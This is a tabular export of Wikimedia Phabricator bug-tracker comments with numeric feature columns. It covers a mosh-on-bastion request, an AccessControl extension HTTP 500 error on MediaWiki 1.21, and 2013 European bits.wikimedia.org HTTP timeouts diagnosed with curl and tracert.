+249242,Allow login using mosh as an alternative to plain ssh on bastion,"JFTR, on Tools mosh-server processes eat up to 25 MBytes RSS each; sshds usually are much lighter, even if you add screen.  Labs bastions could certainly handle that but it's something to keep in mind.",,,1376245807,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-hnwvtmwgpm2oisoqaozt,task_subcomment,,True,c2,2,True,,,-3,True,1,1,0,0,0,1,1,0,0,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0
+249237,Allow login using mosh as an alternative to plain ssh on bastion,"This is supported on tools, but adding it to the general bastions would be a good idea.",,,1376185312,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-hnwvtmwgpm2oisoqaozt,task_subcomment,,True,c2,2,False,,,-3,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+249233,Allow login using mosh as an alternative to plain ssh on bastion,"Just found out that mosh already works for tools-login, just not for bastion. would still be nice to have that, too.",,,1376118400,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-hnwvtmwgpm2oisoqaozt,task_subcomment,,True,c2,2,False,,,-3,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+249228,Allow login using mosh as an alternative to plain ssh on bastion,"(In reply to comment #0)
+> ssh is quite painful over a slow and/or lossy connection. mosh uses ssh for
+> authentication and then changes to it's own robust, udp based protocol.
+
+Robust and udp in the same sentence sounds funny",,,1376118251,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-hnwvtmwgpm2oisoqaozt,task_subcomment,,True,c2,2,True,,,-3,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+51774,"HTTP 500 Server Error: Argument 1 passed to ContentHandler::getContentText() must implement interface Content, boolean given","**Author:** `ka.hing.chan`
+
+**Description:**
+In version 1.21.1, the special pages get an Server Error HTTP Error 500.
+
+--------------------------
+**Version**: REL1_21-branch
+**Severity**: normal",Lowest,10.0,1371590220,1465043771.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-37d2msujvpp2rippbzoq,False,PHID-TASK-2vjoijsfwjd4x7dpui5y,task_description,resolved,True,c2,1,False,False,False,-11,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+674453,"HTTP 500 Server Error: Argument 1 passed to ContentHandler::getContentText() must implement interface Content, boolean given",">>! In T51774#576126, @bzimport wrote:
+> **kapica** wrote:
+> 
+> In the latest version of the extension 2.3 should be this problem solved.
+
+Per the maintainers note. In the meantime MW 1.21 is obsolete anyways so it is suggested to update to AccessControl 2.5 [!sic] and a supported version of MediaWiki. Please open a new issue report in case you are observing this behaviour after the upgrades.",,,1465043816,,PHID-USER-37d2msujvpp2rippbzoq,False,,,PHID-TASK-2vjoijsfwjd4x7dpui5y,task_subcomment,,True,c2,3,True,,,144,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,0,1,1,0,0,1,0,1,0,1,1
+674452,"HTTP 500 Server Error: Argument 1 passed to ContentHandler::getContentText() must implement interface Content, boolean given",">>! In T51774#576126, @bzimport wrote:
+> **kapica** wrote:
+> 
+> In the latest version of the extension 2.3 should be this problem solved.
+
+Per the maintainers note. In the meantime MW 1.21 is obsolete anyways so it is suggested to update to AccessControl 2.5 [!sic] and a supported version of MediaWiki.",,,1465043771,,PHID-USER-37d2msujvpp2rippbzoq,False,,,PHID-TASK-2vjoijsfwjd4x7dpui5y,task_subcomment,,True,c2,3,True,,,144,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,0,1,0,0,0,1,1
+249563,"HTTP 500 Server Error: Argument 1 passed to ContentHandler::getContentText() must implement interface Content, boolean given","**kapica** wrote:
+
+In the latest version of the extension 2.3 should be this problem solved.",,,1389864804,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2vjoijsfwjd4x7dpui5y,task_subcomment,,True,c2,3,False,,,20,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0
+249559,"HTTP 500 Server Error: Argument 1 passed to ContentHandler::getContentText() must implement interface Content, boolean given","**kapica** wrote:
+
+Yes, I know about this issue - on the site for AccessControl in the Mediawiki web is notice about it. But I now was not time to fix this problem.",,,1371708248,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2vjoijsfwjd4x7dpui5y,task_subcomment,,True,c2,1,False,,,-10,True,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+249555,"HTTP 500 Server Error: Argument 1 passed to ContentHandler::getContentText() must implement interface Content, boolean given","I just posted the diff link on the other bug, if anyone is interested.",,,1371690813,,PHID-USER-kc6qx3zohjybu3nzffu3,False,,,PHID-TASK-2vjoijsfwjd4x7dpui5y,task_subcomment,,True,c2,1,False,,,-10,True,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+249551,"HTTP 500 Server Error: Argument 1 passed to ContentHandler::getContentText() must implement interface Content, boolean given",Yes - bug 43727 is the very same bug in a different extension.,,,1371688781,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2vjoijsfwjd4x7dpui5y,task_subcomment,,True,c2,1,True,,,-10,True,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+249546,"HTTP 500 Server Error: Argument 1 passed to ContentHandler::getContentText() must implement interface Content, boolean given","**ka.hing.chan** wrote:
+
+[Mon Jun 17 13:06:12 2013] [error] [client 172.31.38.160] PHP Catchable fatal error:  Argument 1 passed to ContentHandler::getContentText() must implement interface Content, boolean given, called in /u01/www/html/wiki/includes/Article.php on line 388 and defined in /u01/www/html/wiki/includes/content/ContentHandler.php on line 95, referer: http://ltapp06/wiki/index.php/CityWiki",,,1371688413,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2vjoijsfwjd4x7dpui5y,task_subcomment,,True,c2,1,False,,,-10,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+249539,"HTTP 500 Server Error: Argument 1 passed to ContentHandler::getContentText() must implement interface Content, boolean given","For the HTTP Error, can you please check the server log and paste the corresponding error?",,,1371684662,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2vjoijsfwjd4x7dpui5y,task_subcomment,,True,c2,1,True,,,-10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+249531,"HTTP 500 Server Error: Argument 1 passed to ContentHandler::getContentText() must implement interface Content, boolean given","**ka.hing.chan** wrote:
+
+I was looking at the code in AccessControl.php. Seems it is using Article::fetchContent which has been deprecated in version 1.21. I am wondering if that would cause AccessControl not working?",,,1371664201,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2vjoijsfwjd4x7dpui5y,task_subcomment,,True,c2,1,False,,,-10,True,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+249520,"HTTP 500 Server Error: Argument 1 passed to ContentHandler::getContentText() must implement interface Content, boolean given","Hi Linux4ever, 
+unfortunately this report is not very useful because it does not describe the problem well. If you have time and can still reproduce the problem, please read https://www.mediawiki.org/wiki/How_to_report_a_bug and add a more useful description to this report.",,,1371609158,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2vjoijsfwjd4x7dpui5y,task_subcomment,,True,c2,1,True,,,-10,True,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,0,1,0,0
+50257,http connections to European Bits server often time out for some users since ~2013-05-06,"**Author:** `mr.heat`
+
+**Description:**
+The server http://bits.wikimedia.org/ is insanely slow since two days. Requests almost never return anything. The requests time out instead. This leaves all Mediawiki projects (including Commons) naked without any CSS (except for my user CSS).
+
+Maybe an DNS issue?
+
+Is there an DoS going on?
+
+I'm sure this is not an issue on my side because I tested this on different computers using different internet connections. It's the same everywhere.
+
+I'm in Germany. Here is the relevant part of a tracert:
+
+C:\>tracert bits.wikimedia.org
+Routenverfolgung zu bits-lb.esams.wikimedia.org [91.198.174.233]:
+[...]
+  8    50 ms    51 ms    52 ms  ge0-1-0-cr0.ixf.de.as6908.net [80.81.192.244]
+  9    58 ms    56 ms    59 ms  xe-5-1-0-core0.nknik.nl.as6908.net [62.149.50.42]
+ 10    54 ms    55 ms    54 ms  xe-0-0-1.cr2-knams.wikimedia.org [78.41.155.38]
+ 11    57 ms    56 ms    56 ms  bits-lb.esams.wikimedia.org [91.198.174.233]
+Ablaufverfolgung beendet.
+
+I can't explain why the tracert looks so good. Requesting any bits URL in the browser almost always times out.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: critical
+**See Also**:
+https://rt.wikimedia.org/Ticket/Display.html?id=5118",Unbreak Now!,100.0,1368019440,1368467621.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-5k6rek77iqe43ozlqryg,task_description,resolved,True,c2,1,False,False,True,-16,True,1,1,0,0,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,1,0,0,1,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+212865,http connections to European Bits server often time out for some users since ~2013-05-06,"We've migrated the network in Europe (esams) to a new topology on Friday (May 10th), which probably also explains why this hasn't been happening since.",,,1368467621,,PHID-USER-hovi6c77qompv5qd7gtz,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,False,,,-16,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+212860,http connections to European Bits server often time out for some users since ~2013-05-06,"**mr.heat** wrote:
+
+(In reply to comment #19)
+> Firefox
+
+I'm sure the browser does not matter. I tried both Firefox and Opera.
+
+> I assume you bypass the cache when trying to reload these URLs?
+
+Yes, I know that and tried everything. In this case bypassing the browser cache made the problem worse. I tried to do the opposite, forcing the browser to never reload these resources if they are in the cache. But it seems there is no setting to do this. As far as I understand the browser always does a HEAD request to check if the cached resources changed. Some of these HEAD requests timed out.
+
+Currently everything seems to work. Both http and https.
+
+I still think there was an overload, maybe caused by a DoS. We will see if the problem comes back every 24 hours.",,,1368219130,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,False,,,-16,True,1,1,0,0,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,1,0,1,1,0,1,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+212853,http connections to European Bits server often time out for some users since ~2013-05-06,"The URLs in comment 13 and comment 16 load fine for me in Firefox 18 (same for using http:// instead of https://), no matter how often I try to reload, and I am based in Germany too currently.
+
+I assume you bypass the cache when trying to reload these URLs?
+http://en.wikipedia.org/wiki/Wikipedia:Bypass_your_cache
+
+
+Summarizing the aforementioned VP/forum threads (thanks for the links!):
+* https://en.wikipedia.org/wiki/Wikipedia:Help_desk#Problems_getting_pages_to_load states ""Now very suddenly working again"" today by reporter.
+* Both https://de.wikipedia.org/wiki/Wikipedia:Fragen_zur_Wikipedia#Wikipedia-Server_sterbenslahm and http://fi.wikipedia.org/wiki/Wikipedia:Kahvihuone_%28tekniikka%29#Wikipedian_hidastelu also imply that only http:// is affected, but the Finnish thread has no new comments since May 8th when the outage happened (see comment 4) so it's unclear if there's still bigger problems.
+
+
+As I don't see indicators yet that this is a problem that a large number of users in Europe is affected by I'll set this back to ""highest"" priority and ""critical"".",,,1368207411,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,True,,,-16,True,0,0,1,1,1,1,1,0,0,1,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0
+212847,http connections to European Bits server often time out for some users since ~2013-05-06,Another easy personal workaround is to switch to Google DNS server so the bits.wikimedia.org resolves to bits-lb.eqiad.wikimedia.org which works fine. This is one reason why problem is mainly in Europe.,,,1368197723,,PHID-USER-pmmyhpxkzmo6lbo5bcqo,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,False,,,-16,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+212841,http connections to European Bits server often time out for some users since ~2013-05-06,"(In reply to comment #16)
+> And now both http and https have the same problem and are unusable.
+
+That may be related or not. In Italy, for me HTTPS is down since about 20 min ago, while HTTP sometimes loads after a long time (with or without styles).",,,1368186355,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,True,,,-16,True,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,1
+212836,http connections to European Bits server often time out for some users since ~2013-05-06,"**mr.heat** wrote:
+
+And now both http and https have the same problem and are unusable. Guys, what's going on?
+
+Here are some https example URLs that time out:
+
+https://bits.wikimedia.org/commons.wikimedia.org/load.php?debug=false&lang=de&modules=startup&only=scripts&skin=vector&*
+https://bits.wikimedia.org/commons.wikimedia.org/load.php?debug=false&lang=de&modules=site&only=scripts&skin=vector&*
+https://de.wikipedia.org/
+
+Raising importance.",,,1368185967,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,False,,,-16,True,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,0,0,0
+212833,http connections to European Bits server often time out for some users since ~2013-05-06,"**mr.heat** wrote:
+
+(In reply to comment #6)
+> https links are working fine.
+
+Wow, you are right. The problem is immediately solved when I switch from http to https. I guess this is the reason why most of the users can't reproduce my problem.
+
+https://de.wikipedia.org/wiki/Wikipedia:Fragen_zur_Wikipedia#Wikipedia-Server_sterbenslahm",,,1368183641,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,False,,,-16,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,1,1,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,1,1
+212828,http connections to European Bits server often time out for some users since ~2013-05-06,"**mr.heat** wrote:
+
+Bits and Meta subdomain requests time out
+
+Here is a screenshot from the Opera Dragonfly debugger. Please not that it's not only bits.wikimedia.org (all URLs that start with load.php). Also some meta.wikimedia.org URLs time out.
+
+**Attached**: {F10458}",,,1368182742,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,False,,,-16,True,1,0,0,0,1,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+212820,http connections to European Bits server often time out for some users since ~2013-05-06,"**mr.heat** wrote:
+
+At the moment all Wikimedia projects are kind of dead and unusable because of this. Here are some example URLs that all time out:
+
+http://bits.wikimedia.org/de.wikipedia.org/load.php?debug=false&lang=de&modules=startup&only=scripts&skin=vector&*
+http://bits.wikimedia.org/commons.wikimedia.org/load.php?debug=false&lang=de&modules=startup&only=scripts&skin=vector&*
+http://bits.wikimedia.org/en.wikipedia.org/load.php?debug=false&lang=en&modules=ext.gadget.ReferenceTooltips%2Ccharinsert%2Ctoolbaralert2%7Cext.wikihiero%7Cmediawiki.legacy.commonPrint%2Cshared%7Cmw.PopUpMediaTransform%7Cskins.vector&only=styles&skin=vector&*
+
+Its like comment #12 said. Some requests to bits.wikimedia.org return immediately, some requests take a very long time (about 30 seconds) and some requests never return (time out).
+
+Again, I'm sitting in Germany.
+
+C:\>tracert bits.wikimedia.org
+Routenverfolgung zu bits-lb.esams.wikimedia.org [91.198.174.233]:
+[...]
+  8    53 ms    51 ms    51 ms  ge0-1-0-cr0.ixf.de.as6908.net [80.81.192.244]
+  9    58 ms    57 ms    57 ms  xe-5-1-0-core0.nknik.nl.as6908.net [62.149.50.42]
+ 10    55 ms    55 ms    55 ms  xe-0-0-1.cr2-knams.wikimedia.org [78.41.155.38]
+ 11    59 ms    55 ms    57 ms  bits-lb.esams.wikimedia.org [91.198.174.233]",,,1368181540,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,False,,,-16,True,1,0,1,0,0,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,1,1,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+212813,http connections to European Bits server often time out for some users since ~2013-05-06,"And when connection works the response is pretty much instant. So it is not like that http server is too slow, but more like it just works or it doesn't work.
+
+Example response from http query which worked:
+- time curl -i -4 http://bits.wikimedia.org/
+
+HTTP/1.1 200 OK
+Server: Apache
+Last-Modified: Thu, 12 Aug 2010 16:12:20 GMT
+ETag: ""b2-48da2a1772100""
+Content-Type: text/html
+X-Varnish: 1991165982
+Via: 1.1 varnish
+Content-Length: 178
+Accept-Ranges: bytes
+Date: Fri, 10 May 2013 06:05:39 GMT
+X-Varnish: 3599832084
+Age: 0
+Via: 1.1 varnish
+Connection: keep-alive
+X-Cache: sq67 miss (0), cp3022 miss (0)
+
+<html>
+	<head><title>bits and pieces</title>
+		<meta http-equiv=""refresh"" content=""1;url=http://www.wikimedia.org/"" />
+	</head>
+<body>
+bits and pieces live here!
+</body>
+</html>
+
+real	0m0.281s
+user	0m0.004s
+sys	0m0.004s",,,1368166234,,PHID-USER-pmmyhpxkzmo6lbo5bcqo,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,False,,,-16,True,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,0,1,0,1
+212806,http connections to European Bits server often time out for some users since ~2013-05-06,"> To clarify, does it give the same error (it definitely should not)
+
+Error message is: 
+curl -i -4 http://bits.wikimedia.org/
+curl: (7) Failed connect to bits.wikimedia.org:80; Connection timed out",,,1368165588,,PHID-USER-pmmyhpxkzmo6lbo5bcqo,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,False,,,-16,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+212798,http connections to European Bits server often time out for some users since ~2013-05-06,"(In reply to comment #9)
+> Yes
+
+To clarify, does it give the same error (it definitely should not)",,,1368165336,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,False,,,-16,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1
+212790,http connections to European Bits server often time out for some users since ~2013-05-06,Yes,,,1368165192,,PHID-USER-pmmyhpxkzmo6lbo5bcqo,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,False,,,-16,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+212784,http connections to European Bits server often time out for some users since ~2013-05-06,"Out of curiosity, does
+ curl -i -4 http://bits.wikimedia.org/
+Also give you errors?",,,1368164199,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,False,,,-16,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0
+212778,http connections to European Bits server often time out for some users since ~2013-05-06,"Some links to discussions:
+- https://en.wikipedia.org/wiki/Wikipedia:Help_desk#Problems_getting_pages_to_load
+- http://fi.wikipedia.org/wiki/Wikipedia:Kahvihuone_%28tekniikka%29#Wikipedian_hidastelu",,,1368163074,,PHID-USER-pmmyhpxkzmo6lbo5bcqo,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,False,,,-16,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+212772,http connections to European Bits server often time out for some users since ~2013-05-06,"I answered to before to bug 42653 (comments: 14 - 17), but i will write the key points to here too. It seems that bits-lb.esams.wikimedia.org http is broken. IP itself answers to ping and https links are working fine. 
+
+Eg. this works:
+-  curl -i https://bits.wikimedia.org/ 
+
+This will fail most of the times
+-  curl -i http://bits.wikimedia.org/
+
+Error is:
+curl: (7) Failed to connect to 2620:0:862:ed1a::a: Network is unreachable",,,1368162078,,PHID-USER-pmmyhpxkzmo6lbo5bcqo,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,False,,,-16,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1
+212766,http connections to European Bits server often time out for some users since ~2013-05-06,"(In reply to comment #0)
+> The server http://bits.wikimedia.org/ is insanely slow since two days.
+> Requests
